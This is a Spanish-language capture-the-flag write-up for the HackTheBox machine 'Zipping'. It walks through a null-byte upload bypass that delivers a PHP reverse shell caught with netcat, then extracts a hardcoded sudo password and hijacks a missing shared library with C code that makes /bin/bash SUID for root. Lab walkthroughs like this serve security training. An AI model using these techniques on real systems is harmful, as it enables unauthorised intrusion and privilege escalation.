Zipping es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Zipping 10.129.5.97 a /etc/hosts como zipping.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- -sS --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.5.97 Nmap scan report for 10.129.5.97 Host is up, received reset ttl 63 (0.052s latency). Scanned at 2023-08-27 19:28:08 GMT for 14s Not shown: 65480 closed tcp ports (reset), 53 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sun Aug 27 19:28:22 2023 -- 1 IP address (1 host up) scanned in 13.61 seconds |
Tras un primer escaneo rápido, lanzamos uno más completo sobre los puertos descubiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.5.97 Nmap scan report for 10.129.5.97 Host is up (0.039s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA) |_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Ubuntu)) |_http-server-header: Apache/2.4.54 (Ubuntu) |_http-title: Zipping | Watch store Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Aug 27 19:29:10 2023 -- 1 IP address (1 host up) scanned in 9.89 seconds |
Enumeración
Descubiertos los puertos, y ya que en el 22 no podemos hacer nada, vamos a revisar el portla web del puerto 80

Vemos un portal web de una store, revisamos un poco y vemos una página para la subida de fichero zip, el cual debe incluir un fichero pdf en su interior

Hacemos alguna que otra prueba con esto y conseguimos saltarnos la restricción mediante el uso del null byte en php y subir con ello un fichero php malicioso.
Para ello generamos un fichero php al que llamaremos
|
1 |
revshell.phpA.pdf |
Generamos el fichero .zip como se haría normalmente
|
1 2 |
$ zip revshell.zip revshell.phpA.pdf adding: revshell.phpA.pdf (deflated 59%) |
Y ahora editaremos el código hexadecimal del fichero .zip para sustituir ese carácter A por un valor nulo, es decir, por 00 en hexadecimal

Hecho el cambio subimos el fichero zip

Y veremos como el fichero tiene un carácter espacio entre php y .pdf, así que accedemos al enlace y borramos el espacio y la extensión .php y tendremos nuestra revshell y por lo tanto acceso en nuestra escucha
|
1 2 3 4 5 6 7 8 9 10 11 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.123] from (UNKNOWN) [10.129.5.97] 46380 Linux zipping 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux 20:45:05 up 4:24, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu) /bin/sh: 0: can't access tty; job control turned off $ whoami rektsu $ |
Obteniendo la flag de user
Una vez dentro, vamos a la home del usuario y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ pwd / $ cd /home $ ls -l total 4 drwxr-x--x 7 rektsu rektsu 4096 Aug 7 12:00 rektsu $ cd rektsu $ ls -l total 4 -rw-r----- 1 root rektsu 33 Aug 27 16:22 user.txt $ cat user.txt 5b93b0bfde9231c603a00f33aab8622c $ |
Escalado de privilegios
Subimos una clave ssh para mejorar nuestra shell y revisamos los permisos del usuario
|
1 2 3 4 5 6 7 |
rektsu@zipping:~$ sudo -l Matching Defaults entries for rektsu on zipping: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User rektsu may run the following commands on zipping: (ALL) NOPASSWD: /usr/bin/stock rektsu@zipping:~$ |
El usuario tiene permisos de root para ejecutar el binario stock, que si lo revisamos se trata de un fichero ELF
|
1 2 3 4 |
rektsu@zipping:~$ ls -l /usr/bin/stock -rwxr-xr-x 1 root root 16672 Apr 1 02:16 /usr/bin/stock rektsu@zipping:~$ file /usr/bin/stock /usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped |
Ejecutamos el mismo para ver que ocurre y nos pide una password
|
1 2 3 |
rektsu@zipping:~$ sudo /usr/bin/stock Enter the password: asdf Invalid password, please try again. |
Pero sólo tenemos que tirar de strings para obtenerla
|
1 2 |
rektsu@zipping:~$ strings /usr/bin/stock|grep ger St0ckM4nager |
Y volvemos a ejecutar
|
1 2 3 4 5 6 7 8 9 10 |
rektsu@zipping:~$ sudo /usr/bin/stock Enter the password: St0ckM4nager ================== Menu ================== 1) See the stock 2) Edit the stock 3) Exit the program Select an option: |
Nos aparece un menú para ver o editar el stock actual, así que vamos a analizarlo más en detalle con strace
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
rektsu@zipping:~$ strace /usr/bin/stock execve("/usr/bin/stock", ["/usr/bin/stock"], 0x7ffcafd23c00 /* 19 vars */) = 0 brk(NULL) = 0x56124336b000 arch_prctl(0x3001 /* ARCH_??? */, 0x7fff83babf10) = -1 EINVAL (Invalid argument) mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7efcab6ef000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=18225, ...}, AT_EMPTY_PATH) = 0 mmap(NULL, 18225, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7efcab6ea000 close(3) = 0 openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\3206\2\0\0\0\0\0"..., 832) = 832 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2072888, ...}, AT_EMPTY_PATH) = 0 pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784 mmap(NULL, 2117488, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7efcab400000 mmap(0x7efcab422000, 1544192, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7efcab422000 mmap(0x7efcab59b000, 356352, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19b000) = 0x7efcab59b000 mmap(0x7efcab5f2000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1f1000) = 0x7efcab5f2000 mmap(0x7efcab5f8000, 53104, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7efcab5f8000 close(3) = 0 mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7efcab6e7000 arch_prctl(ARCH_SET_FS, 0x7efcab6e7740) = 0 set_tid_address(0x7efcab6e7a10) = 3459 set_robust_list(0x7efcab6e7a20, 24) = 0 rseq(0x7efcab6e8060, 0x20, 0, 0x53053053) = 0 mprotect(0x7efcab5f2000, 16384, PROT_READ) = 0 mprotect(0x5612432ba000, 4096, PROT_READ) = 0 mprotect(0x7efcab725000, 8192, PROT_READ) = 0 prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0 munmap(0x7efcab6ea000, 18225) = 0 newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0 getrandom("\x6a\xdf\xa8\x9a\x99\x13\xbd\xcf", 8, GRND_NONBLOCK) = 8 brk(NULL) = 0x56124336b000 brk(0x56124338c000) = 0x56124338c000 newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}, AT_EMPTY_PATH) = 0 write(1, "Enter the password: ", 20Enter the password: ) = 20 read(0, St0ckM4nager "St0ckM4nager\n", 1024) = 13 openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) write(1, "\n================== Menu ======="..., 44 ================== Menu ================== ) = 44 write(1, "\n", 1 ) = 1 write(1, "1) See the stock\n", 171) See the stock ) = 17 write(1, "2) Edit the stock\n", 182) Edit the stock ) = 18 write(1, "3) Exit the program\n", 203) Exit the program ) = 20 write(1, "\n", 1 ) = 1 |
Y vemos que en el mismo llama a una librería que no existe
|
1 |
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) |
Así que vamos a aprovecharnos de esto, generamos un fichero en código c que de permisos de suid al binario de bash
|
1 2 3 4 5 6 7 8 |
#include<stdlib.h> #include<unistd.h> int _init(){ setuid(0); setgid(0); system("chmod u+s /bin/bash"); } |
Compilamos el mismo
|
1 |
$ gcc -shared -o libcounter.so -fPIC -nostartfiles libcounter.c |
Y ejecutamos otra vez el programa de stock, y veremos que se han otorgado los permisos al binario de bash
|
1 2 |
rektsu@zipping:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1433736 Oct 7 2022 /bin/bash |
Obteniendo la flag de root
Escalamos a root y cogemos la flag
|
1 2 3 4 5 6 7 8 9 |
rektsu@zipping:~$ bash -p bash-5.2# id uid=1001(rektsu) gid=1001(rektsu) euid=0(root) groups=1001(rektsu) bash-5.2# cat /root/root.txt 7f0c7585173ec009dc382476e3b68691 bash-5.2# hostname && whoami zipping root bash-5.2# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










